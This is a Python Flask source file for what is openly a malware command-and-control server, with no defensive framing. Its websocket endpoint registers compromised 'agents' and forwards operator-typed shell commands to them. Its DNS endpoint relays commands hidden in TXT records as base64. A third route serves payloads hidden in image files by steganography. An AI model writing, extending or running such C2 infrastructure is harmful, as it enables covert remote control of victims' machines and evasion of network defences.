from flask import Flask, request, send\_file

from flask\_sockets import Sockets

import base64

import json

import os

import threading

import dns.resolver

app = Flask(\_\_name\_\_)

sockets = Sockets(app)

C2\_LOGS = "c2\_logs.txt"

CONNECTED\_AGENTS = {}

def log\_command(command):

with open(C2\_LOGS, "a") as log:

log.write(command + "\n")

@sockets.route('/ws')

def handle\_ws(ws):

agent\_id = ws.receive()

CONNECTED\_AGENTS[agent\_id] = ws

print(f"[+] Agent Connected: {agent\_id}")

while not ws.closed:

command = input("C2> ")

if command == "list":

print(CONNECTED\_AGENTS.keys())

elif command.startswith("exec"):

\_, agent, cmd = command.split(" ", 2)

if agent in CONNECTED\_AGENTS:

CONNECTED\_AGENTS[agent].send(json.dumps({"cmd": cmd}))

log\_command(f"{agent}: {cmd}")

elif command == "exit":

ws.close()

@app.route('/dns\_c2/<query>')

def dns\_c2(query):

"""

Encodes C2 commands inside DNS TXT record responses

"""

command = get\_command\_from\_dns(query)

return base64.b64encode(command.encode()).decode()

def get\_command\_from\_dns(query):

# Example of reading commands via DNS queries

try:

response = dns.resolver.resolve(query, "TXT")

return response[0].to\_text().strip('"')

except:

return "sleep"

@app.route('/stego/<img\_name>')

def stego\_payload(img\_name):

"""

Delivers payloads hidden in image files.

"""

return send\_file(f"stego\_payloads/{img\_name}", mimetype='image/png')

if \_\_name\_\_ == "\_\_main\_\_":

app.run(host="0.0.0.0", port=5000, threaded=True)